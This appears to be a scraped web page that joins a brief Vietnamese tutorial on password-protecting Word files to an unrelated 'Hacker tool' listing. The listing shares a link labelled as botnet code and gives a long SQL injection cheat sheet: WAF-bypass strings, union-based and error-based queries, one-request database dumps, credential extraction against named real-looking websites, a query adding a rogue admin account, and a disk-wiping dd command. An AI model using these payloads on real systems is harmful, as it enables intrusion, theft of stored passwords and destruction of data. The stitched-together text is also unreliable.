Bước 1: Lúc lưu, trong cửa sổ lưu bạn sẽ thấy có danh mục Tools. Kích vào đó sẽ xổ ra một danh mục, hãy chọn General Options.

Bảo mật file Word: Lúc lưu, trong cửa sổ lưu bạn sẽ thấy có danh mục Tools (khung đỏ). Kích vào đó sẽ xổ ra một danh mục, hãy chọn General Options (mũi tên).

Bước 2: Hộp thoại General Options hiện ra sẽ yêu cầu nhập mật khẩu. Cái ô nhập mật khẩu thứ nhất là để chống mở file, ô nhập thứ hai để chống chỉnh sửa (nhập chống mở thôi cũng được mà nhập cả hai cũng được) rồi nhấp OK. Sau đó sẽ hiện ra một bảng thông báo xác nhận lại mật khẩu, bạn gõ lại rồi ấn OK.

Vậy là từ giờ trở đi, khi ai đó muốn mở file Word đó ra thì sẽ có một bảng nhỏ hiện lên yêu cầu nhập mật khẩu.

Bảo mật file Word: Hộp thoại General Options hiện ra sẽ yêu cầu nhập mật khẩu. Cái ô nhập mật khẩu số 1 là để chống mở file, ô nhập số 2 để chống chỉnh sửa (nhập chống mở thôi cũng được mà nhập cả hai cũng được). Xong xuôi hãy nhấp OK (mũi tên).

Bước phụ: Riêng với Word 2003, bạn có thể đặt mật khẩu chống mở bằng cách vào tab Tools, chọn Options. Trong hộp thoại Options, hãy vào tab Security là sẽ có chỗ để nhập 2 loại mật khẩu tương tự như trên.

B4,5-Bao-mat-file-Word-2003-2007-2010-2013.jpg

Bảo mật file Word: Riêng với Word 2003, bạn có thể đặt mật khẩu chống mở bằng cách vào Tools => Options => Security, sẽ có chỗ để nhập 2 loại mật khẩu tương tự như trên.

share 1 số code botnet pro Unknown rwxr-xr-x 0 08:09 Hacker tool

Filename	share 1 số code botnet pro
Permission	rw-r--r--
Author	Unknown
Date and Time	08:09
Label	Hacker tool
Action

https://bitbucket.org/surivaton/ftb/src/ccdf8c0b2cd6a20ba0bd66728f4dc704cff5a268?at=master
việc tiếp theo là của bạn !

String Injection method Unknown rwxr-xr-x 0 00:13 Hacker tool

Filename	String Injection method
Permission	rw-r--r--
Author	Unknown
Date and Time	00:13
Label	Hacker tool
Action

--'- : +--+ / : -- - : --+- : /*
) order by 1-- -

') order by 1-- -

')order by 1%23%23

%')order by 1%23%23

Null' order by 100--+

Null' order by 9999--+

')group by 99-- -

'group by 119449-- -

'group/**/by/**/99%23%23

union select ByPassing method

+union+distinct+select+

+union+distinctROW+select+

/**//*!12345UNION SELECT*//**/

/**//*!50000UNION SELECT*//**/

+/*!50000UnIoN*/ /*!50000SeLeCt aLl*/+

+/*!u%6eion*/+/*!se%6cect*/+

/**/uniUNIONon/**/aALLll/**/selSELECTect/**/

1%')and(0)union(select(1),version(),3,4,5,6)%23%23%23

/*!50000%55nIoN*/+/*!50000%53eLeCt*/

union /*!50000%53elect*/

%55nion %53elect

+--+Union+--+Select+--+

+UnIoN/*&a=*/SeLeCT/*&a=*/

id=1+’UnI”On’+'SeL”ECT’ <-MySQL only

id=1+'UnI'||'on'+SeLeCT' <-MSSQL only

UnIoN SeLeCt CoNcAt(version())--

uNiOn aLl sElEcT

uUNIONnion all sSELECTelect

===================================================================================================================================
:: Buffer Overflow ::
===================================================================================================================================
+And(select 1)=(select 0×414)+union+select+1–

+And(select 1)=(select 0xAAAA)+union+select+1–

+And(select 1)=(select 0×4141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 1414141)+

+and (/*!select*/ 1)=(/*!select*/ 0xAA)+

==================================================================================================================================
:: 400 Bad Request ::
==================================================================================================================================
–+%0A

union+select+1–+%0A,2–+%0A,3–+%0A,4–+%0A,5–+%0A –

==================================================================================================================================
null the parameter
==================================================================================================================================
id=-1

id=null

id=1+and+false+

id=9999

id=1 and 0

id==1

id=(-1)

=======================================================================================================================================
Group_Concat
=======================================================================================================================================
Group_Concat

group_concat()

/*!group_concat*/()

grOUp_ConCat(/*!*/,0x3e,/*!*/)

group_concat(,0x3c62723e)

g%72oup_c%6Fncat%28%76%65rsion%28%29,%22~BlackRose%22%29

CoNcAt()

CONCAT(DISTINCT Version())

concat(,0x3a,)

concat()

CoNcAt()

/*!50000cOnCat*/(/*!Version()*/)

/*!50000cOnCat*/

/**//*!12345cOnCat*/(,0x3a,)

concat_ws()

concat(0x3a,,0x3c62723e)

/*!concat_ws(0x3a,)*/

concat_ws(0x3a3a3a,version()

CONCAT_WS(CHAR(32,58,32),version(),)

REVERSE(tacnoc)

binary(version())

uncompress(compress(version()))

aes_decrypt(aes_encrypt(version(),1),1)

====================================================================================================================================
To appear column numbr in page put after id
====================================================================================================================================
id=1+and+1=0+union+select+1,2,3,4,5,6

+AND+1=0

/*!aND*/ 1 like 0

+/*!and*/+1=0

+and+2>3+

+and(1)=(0)

and (1)!=(0)

+div+0

Having+1=0

===================================================================================================================================
function ByPassing
===================================================================================================================================
unhex(hex(value))

cast(value as char)

uncompress(compress(version()))

cast(version() as char)

aes_decrypt(aes_encrypt(version(),1),1)

binary(version())

convert(value using ascii)

===================================================================================================================================
avoid source page injection
===================================================================================================================================
concat(?”>,<br><br><br>,@@version,?<img src=”,?<?’#)

“><br>? <img src=”

<img src=””/>injection<img src=”

concat(0x223e,@@version)

concat(0x273e27,version(),0x3c212d2d)

concat(0x223e3c62723e,version(),0x3c696d67207372633d22)

concat(0x223e,@@version,0x3c696d67207372633d22)

concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62723e)

concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)

concat(‘</title>’,@@version,’<title>’)

concat(0x273c2f7469746c653e27,@@version,0x273c7469746c653e27)

concat(0x273c2f7469746c653e27,version(),0x273c7469746c653e27)

===================================================================================================================================
get version – DB_NAME – user – HOST_NAME – datadir
===================================================================================================================================
version()

convert(version() using latin1)

unhex(hex(version()))

@@GLOBAL.VERSION

(substr(@@version,1,1)=5) :: 1 true 0 fals

# like #

http://www.marinaplast.com/page.php?id=-13 union select 1,2,(substr(@@version,1,1)=5),4,5 –

==================================================================================================================================
+and substring(version(),1,1)=4

+and substring(version(),1,1)=5

+and substring(version(),1,1)=9

+and substring(version(),1,1)=10

id=1 /*!50094aaaa*/ error

id=1 /*!50095aaaa*/ no error

id=1 /*!50096aaaa*/ error

# like # http://www.marinaplast.com/page.php?id=13 /*!50095aaaa*/

id=1 /*!40123 1=1*/–+- no error

id=1 /*!40122rrrr*/ no error

# like # http://www.marinaplast.com/page.php?id=13 /*!40122rrrr*/ error not v4
=================================================================================================================================
DB_NAME()
=================================================================================================================================
@@database
database()
id=vv()
# like # http://www.marinaplast.com/page.php?id=-13 union select 1,2,DB_NAME(),4,5 –
http://www.marinaplast.com/page.php?id=vv%28%29
@@user
user()
user_name()
system_user()
# like # http://www.marinaplast.com/page.php?id=-13 union select 1,2,user(),4,5 –

HOST_NAME()
@@hostname
@@servername
SERVERPROPERTY()

# like # http://www.marinaplast.com/page.php?id=-13 union select 1,2,HOST_NAME(),4,5 –
@@datadir
datadir()
# like # http://www.marinaplast.com/page.php?id=-13 union select 1,2,datadir(),4,5 –
ASPX
and 1=0/@@version
‘ and 1=0/@@version;–
‘) and 1=@@version–
and 1=0/user;–

Requested method
[DUMP DB in 1 Request]

(select (@) from (select(@:=0×00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0a,’ [ ',table_schema,' ] >’,table_name,’ > ‘,column_name))))x)

(select(@) from (select (@:=0×00),(select (@) from (table) where (@) in (@:=concat(@,0x0a,column1,0x3a,column2))))a)
===================================================================================================================================
[DUMP DB in 1 Request improve]
===================================================================================================================================

(select(@x)from(select(@x:=0×00),(select(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0×00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x)

like
http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select(@x)from(select(@x:=0×00),(select(0)from(information_schema.colu mns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0×00)in(@x:=c oncat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),4,5 –
===================================================================================================================================
#2#
===================================================================================================================================
method like DUMP DB in 1 Request
===================================================================================================================================
concat(@i:=0×00,@o:=0xd0a,benchmark(40,@o:=CONCAT( @o,0xd0a,(SELECT concat(table_schema,0x2E,@i:=table_name) FROM information_schema.tables WHERE table_name>@i order by table_name LIMIT 1)))
like
http://www.mishnetorah.com/shop/details.php?id=-26+union+select+1%2C2%2C3%2Cconcat(@i:=0×00,@o:=0xd0a,benchmark(40,@o:=CONCAT(@o,0xd0a ,(SELECT concat(table_schema,0x2E,@i:=table_name) FROM information_schema.tables WHERE table_name>@i order by table_name LIMIT 1))),@o),5,6,7,8,9,10, 11,12,13,14,15,16,17,18,19,20,21
===================================================================================================================================
#3#
===================================================================================================================================
databases

(select+count(schema_name) +from+information_schema.schemata)

# like #
http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select+count(schema_name) +from+information_schema.schemata),4,5 –

tables
(select+count(table_name) +from+information_schema.tables)
# like #
http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select+count(table_name) +from+information_schema.tables),4,5 –

columns
(select+count(column_name) +from+information_schema.columns)
# like #
http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select+count(column_name) +from+information_schema.columns),4,5 –
===================================================================================================================================
#4#
===================================================================================================================================
show the table with all her columns

CONCAT(table_name,0x3e,GROUP_CONCAT(column_name))

+FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 1,1–+

like
http://www.marinaplast.com/page.php?id=-13 union select 1,2,CONCAT(table_name,0x3e,GROUP_CONCAT(column_name)),4,5 +FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 0,1–+
===================================================================================================================================
#5#WWWWWWWWWWWAAAAAAAAAAAAAAAAAAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
===================================================================================================================================
feltered requested

# tables #
group_concat(/*!table_name*/)

+/*!froM*/ /*!InfORmaTion_scHema*/.tAblES– -

/*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()– -

/*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA()– -
===================================================================================================================================
# columns #
===================================================================================================================================
group_concat(/*!column_name*/)

+/*!froM*/ InfORmaTion_scHema.cOlumnS /*!WheRe*/ /*!tAblE_naMe*/=hex table

/*!From*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table

/*!froM*/ table– -
===================================================================================================================================
#6#
===================================================================================================================================
bypass method

(select+group_concat(/*!table_name*/)+/*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA())

(select+group_concat(/*!column_name*/)+/*!From*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table)

like
http://www.marinaplast.com/page.php?id=-13 union select 1,2,(select+group_concat(/*!table_name*/)+/*!From*/+%69nformation_schema./**/tAblES+/*!50000Where*/+/*!%54able_ScHEmA*/=schEMA()),4,5 –
===================================================================================================================================
#7#
===================================================================================================================================
bypass method

unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))

/*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)

like
http://www.marinaplast.com/page.php?id=-13 union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)–

===================================================================================================================================
[+] Union Select:
===================================================================================================================================
union /*!select*/+
union/**/select/**/
/**/union/**/select/**/
/**/union/*!50000select*/
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/uniUNIONon/**/selSELECTect/**/
/**/uniUNIONon/**/aALLll/**/selSELECTect/**/
/**//*!union*//**//*!select*//**/
/**/UNunionION/**/SELselectECT/**/
/**//*UnIOn*//**//*SEleCt*//**/
/**//*U*//*n*//*I*//*O*//*n*//**//*S*//*E*//*l*//*e*//*C*//*t*//**/
/**/UNunionION/**/all/**/SELselectECT/**/
/**//*UnIOn*//**/all/**//*SEleCt*//**/
/**//*U*//*n*//*I*//*O*//*n*//**//*all*//**//*S*//*E*//*l*//*e*//*C*//*t*//**/
uni<on all sel<ect
%20union%20/*!select*/%20
union%23aa%0Aselect
union+distinct+select+
union+distinctROW+select+
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
%23sexsexsex%0AUnIOn%23sexsexsex%0ASeLecT+
/*!50000UnIoN*/ /*!50000SeLeCt aLl*/+
/*!u%6eion*/+/*!se%6cect*/+
1%’)and(0)union(select(1),version(),3,4,5,6)%23%23%23
/*!50000%55nIoN*/+/*!50000%53eLeCt*/
union /*!50000%53elect*/
+%2F**/+Union/*!select*/
%55nion %53elect
+–+Union+–+Select+–+
+UnIoN/*&a=*/SeLeCT/*&a=*/
uNiOn aLl sElEcT
uUNIONnion all sSELECTelect
union(select(1),2,3)
union (select 1111,2222,3333)
union (/*!/**/ SeleCT */ 11)
%0A%09UNION%0CSELECT%10NULL%
/*!union*//*–*//*!all*//*–*//*!select*/
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C
union+sel%0bect
+uni*on+sel*ect+
+#1q%0Aunion all#qa%0A#%0Aselect 1,2,3,4,5,6,7,8,9,10%0A#a
union(select (1),(2),(3),(4),(5))
UNION(SELECT(column)FROM(table))
id=1+’UnI”On’+’SeL”ECT’ <-MySQL only
id=1+’UnI’||’on’+SeLeCT’ <-MSSQL only
union select 1–+%0A,2–+%0A,3–+%0A etc ….
===================================================================================================================================
[+] Buffer overflow:
===================================================================================================================================
+And(select 1)=(select 0×414)+union+select+1–
+And(select 1)=(select 0xAAAA)+union+select+1–
+and (/*!select*/ 1)=(/*!select*/ 0xAA)+
+and (/*!select*/ 1)=(/*!select*/ 0×414)+
+And(select 1)=(select 0×4141414141414141414141414141414141414141414141414141414141414141414141414?1414 14141414141414141414141414141414141414141414141414141414141414141414141414141414 1414141414141414141414141414141414141414141414141414141414141414141414141414?141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 41414141414141414141414141414141414141414141414141414141414141414141414141414141 4141)+
===================================================================================================================================
[+] Group Concat:
===================================================================================================================================
Group_Concat
group_concat()
/*!group_concat*/()
grOUp_ConCat(/*!*/,0x3e,/*!*/)
group_concat(,0x3c62723e)
g%72oup_c%6Fncat%28%76%65rsion%28%29,%22testtest%22%29
CoNcAt()
CONCAT(DISTINCT Version())
concat(,0x3a,)
concat()
CoNcAt()
/*!50000cOnCat*/(/*!Version()*/)
/*!50000cOnCat*/
/**//*!12345cOnCat*/(,0x3a,)
concat_ws()
concat(0x3a,,0x3c62723e)
/*!concat_ws(0x3a,)*/
concat_ws(0x3a3a3a,version()
CONCAT_WS(CHAR(32,58,32),version(),)
===================================================================================================================================
ERORE BASED
===================================================================================================================================
=21 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1–

Database

21 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Table_name

and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 19,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Columns

21 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x73657474696e6773 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

extract date

http://www.aliqbalschools.org/index.php?mode=getpagecontent&pageID=21 and (select 1 from (select count(*),concat((select(select concat(cast(concat(userName,0x7e,passWord) as char),0x7e)) from iqbal_iqbal.settings limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Notice the limit function in the query
A website can have more than 2 two databases, so increase the limit until you find all database names
Example: limit 0,1 or limit 1,1 or limit 2,1
===================================================================================================================================
Differences:
Error Based Query for Database Extraction:
===================================================================================================================================
and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Double Query for Database Extraction:

and(select 1 from(select count(*),concat((select (select concat(0x7e,0×27,cast(database() as char),0×27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1=1

and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,0×27,cast(schema_name as char),0×27,0x7e) FROM information_schema.schemata LIMIT N,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

and(select 1 from(select count(*),concat((select (select (SELECT distinct
concat(0x7e,0×27,cast(table_name as char),0×27,0x7e) FROM information_schema.tables Where
table_schema=0xhex_code_of_database_name LIMIT N,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a) and 1
===================================================================================================================================
WUBI +and+extractvalue(rand(),concat(0x3e,(select+concat(username,0x7e,password)+from+iw_users+limit+0,1)))–+
===================================================================================================================================

Descarci orice linux live, bootezi dupa el si formatezi cu dd+urandom. De acolo nu mai recupereaza NIMENI ceva.
Code: dd if=/dev/urandom of=/dev/sda bs=1M

I’d say using concat(0xY)

Y being ‘<script>alert(‘Text here’);</script>’ in hex
union select concat(version,0x3c7363726970743e616c6572742827706833776c27293c2f7363726970743e)

http://zerocoolhf.altervista.org/level2.php?id=-1%27+union+select+%2A+from%28%28select+1%29a+join+%28select+version%28%29%29b+join+%28select+database%28%29%29c%29–+

union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name=concat(’0x’, hex(‘users’)

=113′+and+0+union+select+1,(SELECT (@) FROM (SELECT(@:=0×00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x3C7363726970743E616C6572742827,’ [ ',table_schema,' ] >’,table_name,’ > ‘,column_name,0x27293B3C2F7363726970743E))))x),3–+–

injection in sql database addd new user
INSERT INTO admins (`name`,`password`,`email`) VALUES (‘unix’,'unixunix’,'unix_chro@yahoo.com’)

+and+(select+1+from+(select+count(*),concat((select(select+concat(cast(table_nam e+as+char),0x7e))+from+information_schema.tables+where+table_schema=0xDATABASEHE X+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

CHALLENGES

Code:
=(13)and(0)union(select(1),group_concat(column_name,0x3c62723e),(3)from(information_schema.columns)where(table_schema=database())and(table_name=0×7365637572697479))–+-
=12+and+false/*!union*/ /*!select*/1,group_concat(0x3c62723e,/*!TabLe_NaMe*/),2,concat(user(),0x2a,database(),0x2a,version()),13,0x3c666f6e7420636f6c6f723d626c75653e3c68323e706833776c,15 from information_schema.tables where table_schema=0x66616272697a696f5f636572697070 LiMit 0,1–
=/*!uNiOn*/ /*!SeLeCt*/ 1,concat(/*!version(),0x3a,0x3a,AdMinLoGiN,0x3a,0x3a*/),3 /*!fRoM*/ security–
=121)+and(0)+/*!uNion*/+/*!seleCt*/+1,2,3,4,version(),6,7– -
=121)/**/and false UNION(SELECT 1,2,3,4,5,6,7)–+-
=121 div 0 ) /*!UNION*/ /*!SELECT*/ 1,2,3,4,5,6,version()# |
null’+union+select+1,2,count(schema_name),4,5+from+information_schema.schemata– x
===================================================================================================================================
Error Based:
===================================================================================================================================
+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1–

or 1 group by concat(0x3a,(select substr(group_concat(username,0x3a,password),1,150)

from rmdsz_user),floor(rand(0)*2)) having min(0) or 1– -
or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1 — -

and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

+AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2)))

+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+ 3)x+group+by+concat(mid((select+concat_ws(0x7e,version(),0x7e)+from+information_ schema.tables+limit+0,1),1,25),floor(rand(0)*2)))a)– x

or 1=convert(int,(@@version))-
+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1–
+and+(select+1+from+(select+count(*),concat((select(select+concat(c ast(count(schema_name)+as+char),0x7e))+from+information_schema.schemata+limit+0, 1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

(42)and(0)union(select(1),2,version(),4,5,0x3c623e3c666f6e7420636f6c6f723d626c75653e706833776c,7,8,9,(10))–+-
===================================================================================================================================
WAF BYPASS BY TOTTI
===================================================================================================================================

=-2/*1337*/UNION/*1337*/(SELECT/*1337*/1337,concat_ws(0x203a20,0x746f7474693933,table_nam e)/*1337*/FROM/*1337*/INFORMATION_SCHEMA./*!TABLES*//*1337*/WHERE/*1337*/TABLE_SCHEMA=database())– -

=2+and(0)+union+distinctROW+select+1,/*!50000CoNcaT*/(0x706833776c,0x3a,table_name) /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()– -

===================================================================================================================================
WUBI – 1,(select(@x)from(select(@x:=0×00),(select(0)from(information_schema.columns)where(table_schema!=0×69)and(0×00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2020203d3e3e202020,table_name,0x20203a3a3a32020,column_name))))x),3,4–

(select (@) from (select(@:=0×00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0a,’ [ ',table_schema,' ] >’,table_name,’ > ‘,column_name))))x)
(select (@) from (select (@x:=0×00),(select (@) from (database.table) where (@) in (@:=concat(@,0x0a,columns)))x)

(select (@) from (select (@x:=0×00),(select (@) from (database.table) where (@) in (@:=concat(@,0x0a,columns)))x)
===================================================================================================================================

+and+1=convert(int,SERVERPROPERTY(‘ProductVersion’))
===================================================================================================================================

http://zerofreak.blogspot.it/2012/02/tutorial-by-zer0freak-zer0freak-sqli.html

http://www.websec.ca/kb/sql_injection

http://www.hellboundhackers.org/articles/862-mysql-injection-complete-tutorial.html

===================================================================================================================================
test

http://www.mt.ro/nou/articol.php?id=-angajari’+and+extractvalue(rand(),concat(0x3e,(select+concat(username,0x7e,password)+from+iw_users+limit+0,1)))–+